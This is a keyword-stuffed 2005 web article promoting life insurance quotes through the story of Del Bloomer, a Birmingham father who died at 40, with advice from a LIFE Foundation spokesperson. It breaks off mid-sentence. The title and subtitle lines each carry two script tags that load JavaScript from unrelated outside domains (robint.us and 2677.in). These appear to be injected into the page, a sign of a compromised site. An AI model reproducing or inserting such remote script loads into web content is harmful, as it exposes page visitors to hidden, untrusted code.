Life Insurance Quote Proves Critical to Family's Survival<script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
Glenn Lawrence, interactiveDAD Editor - Saturday, August 13, 2005
Del Bloomer bought life insurance to help his family survive his death. His family is thankful he got a life insurance quote.<script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
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(iDAD) -- You've probably been thinking about getting a life insurance quote.  But you keep putting it. 

Thankfully Del Bloomer didn’t procrastinate when it came to getting a life insurance quote.

 

Hardworking, community-minded and successful in the Birmingham, Ala. business world, friends and colleagues assumed the husband and father of two would one day become mayor.  But Bloomer believed life had something different in store for him, so he went beyond getting just a life insurance quote, he actually bought the policy. 

 

“He had (bad) dreams at night,” says his wife Linda.  “He thought he would not have a long life.”

 

He turned out to be right.  He suddenly died at the age of 40. He left behind a grieving wife and 8-year-old twins Maya and Matthew.

 

It was a shocking enough to lose the love of her life.  But because Del had bought life insurance, money was one thing Linda Bloomer did not need to worry about.  She couldn’t be more thankful.

 

MANY GO WITHOUT

 

Surveys show up to 85-percent believe they need life insurance.  But four of every 10 American adults have none whatsoever.  And never bother getting a life insurance quote. “If someone depends on you, you need life insurance,” says Jon Dressner, Vice President of the Life and Health Insurance Foundation for Education (LIFE) in Washington, DC.  “It’s not enough that people think it’s important they need to do something about it.”

 

But sadly many go naked—never taking the time to cover themselves with a life insurance policy.

 

“Are you willing to chance it?” asks Dressner.  “I’d imagine most dads would say they wouldn’t want to chance it.”

 

HOW MUCH YOU NEED

 

The LIFE Foundation says the general rule of thumb is you need 10-20 times your income.  But cost is a factor for most people and you have to determine how much you can afford.

 

“Just make sure you can hold on to it,” says Dressner.  “You want to buy something you can hold on to.”  Primarily because the older you get, the more expensive the rates.  If you lose your policy and are forced to re-buy, you pay the higher rate.

 

TYPES OF POLICIES - LIFE INSURANCE QUOTES

 

There are various types of life insurance policies.  Term

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